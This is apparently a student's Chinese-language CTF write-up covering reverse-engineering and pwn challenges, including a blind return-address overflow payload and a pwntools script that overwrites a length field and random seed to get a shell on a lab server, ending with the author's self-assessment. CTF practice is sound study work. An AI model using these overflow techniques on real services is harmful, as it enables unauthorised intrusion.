Re300:

这道题给了一段js代码

经过提示：

格式化之后可以看到前面有一段

eval(function(p,a,c,k,e,d)

百度得知，它是一种js加密

解密之后可以得到一段正常的js代码

在其中发现的一段经过加密的unicode

加密的过程总结为

(ord(str)\*0xb1+0x1b)&0xff

之后解密得到

$$.\_$\_+"\\"+$$$.$\_\_+$$$.\_\_\_+"\\"+$$$.\_\_$+$$$.\_$\_+$$$.\_$$+$

这样的代码，通过misc100，得知这是颜文字，是js的一种形式，在浏览器上运行得

FLAG{JS Encoder Sucks}

Pwn100：

这道题没给ELF文件，也就是不知道缓冲区长度和地址

通过远程链接，发现它提供了一个地址

All you need to do is ret to 0x560a29b1f8b0

然后把地址提取出来

制作payload

payload='a'\*len+p64(ret)

要覆盖的长度通过爆破得知是56

得出flag

flag{simple\_blind\_pwn}

Pwn200：

经过提示得知是pyc文件，通过逆向

得知是一个6位的密码

可以无限次输入

有6次匹配其中的一个字符即可

Give me your 6 chars:

Have a nice day

[\*]Select menu

[\*]1. Play Game

[\*]2. Seek Help

[\*]3. Exit

Your choice:

Give me your 6 chars:

flag{logical\_bug\_is\_more\_powerful}

[\*]Select menu

[\*]1. Play Game

Pwn300：

经过提示srand(vulnerable)是一个取随机数的方式

该题取随机数代码：

seed = time(0);

srand(seed);

for(int i=0;i<=99;i++)

{

v3 = rand();

srand(v3);

rand() % 4660 + 1 != v6

}

得出随机数

经过百度得知随机数的值由seed决定

考虑更改seed

经过查看

-00000019 buf db ?

-00000018 var\_18 dd ?

-00000014 var\_14 dd ?

-00000010 seed dd ?

-0000000C var\_C dd ?

-00000008 db ? ; undefined

-00000007 db ? ; undefined

-00000006 db ? ; undefined

-00000005 db ? ; undefined

-00000004 db ? ; undefined

-00000003 db ? ; undefined

-00000002 db ? ; undefined

-00000001 db ? ; undefined

+00000000 s db 8 dup(?)

+00000008 r db 4 dup(?)

发现seed的值可以被覆盖

但是

read(0, &buf, len);

读取buf被限制了长度

经过查看

.data:00002040 username db 4Dh ; M

.data:00002041 db 34h ; 4

.data:00002042 db 78h ; x

.data:00002043 db 0

.data:00002044 db 0

.data:00002045 db 0

.data:00002046 db 0

.data:00002047 db 0

.data:00002048 db 0

.data:00002049 db 0

.data:0000204A db 0

.data:0000204B db 0

.data:0000204C len dd 6

.data:0000204C \_data ends

发现len的值可以通过输入username来覆盖

Username输入的长度为0x16，可以覆盖到len

即可以修改seed的值

先计算出100次的数值，再依次输入即可

from pwn import \*

#io=process('./pwn300')

io=remote('10.4.21.55',9003)

print io.recv()

payload1='\x90'\*(0x4c-0x40)+'\x90'

io.sendline(payload1)

print io.recv()

payload='\0'\*(15)

io.sendline(payload)

input=[395,2255,862,1541,3798,3688,1267,935,26,3543,3926,2443,2946,1158,515,2110,998,3883,3834,4603,2920,3844,4543,3231,796,1097,2927,846,541,2832,233,2229,465,3617,3079,2223,3953,587,1907,80,3695,858,1511,269,1154,2807,3588,2290,1184,3607,1726,1184,963,167,2541,729,2175,2569,3708,298,4252,211,1338,571,1140,48,1929,1156,4375,3336,4652,4650,3656,

2595,2239,1774,1361,2333,710,472,1477,1834,948,2302,1179,3410,229,938,2597,1951,563,2927,4381,1415,4199,1508,2048,4368,2999,1519]

for i in range(0,100):

print io.recv()

io.sendline(str(input[i]))

io.interactive()

第97次

随机种子已重置,接着猜吧

第98次

随机种子已重置,接着猜吧

[\*] Switching to interactive mode

第99次

随机种子已重置,接着猜吧

猜对了100次, 老哥稳

$ ls

flag

nohup.out

pwn300

run.sh

$ cat flag

flag{Full\_protecton\_is\_not\_hard}

$

以上是我做出来的题目

总结：

我对于大部分的题目完全不了解，百度也搜不到，因此不知从何下手，对于了解的题目，也有许多问题，对于反编译的一些组合在一起的语句，总想把他们拆成简略易懂的简单语句，并且想把每个符号都弄明白，就像re300，就是简单的一个运算，我却把每一个关键词的方法都看了一遍，发现组合在一起完全不知道是干什么，re100，对于

\*(\_BYTE \*)

我不知道这是一个地址还是一个数，反复的尝试也的不出来有用的东西查了查IDA的宏定义，发现依然很模糊。

觉得自己对于这方面的理解还很差，对于逆向这种加密的方法不是很熟悉，不能找到重点。自己的水平还有待提升。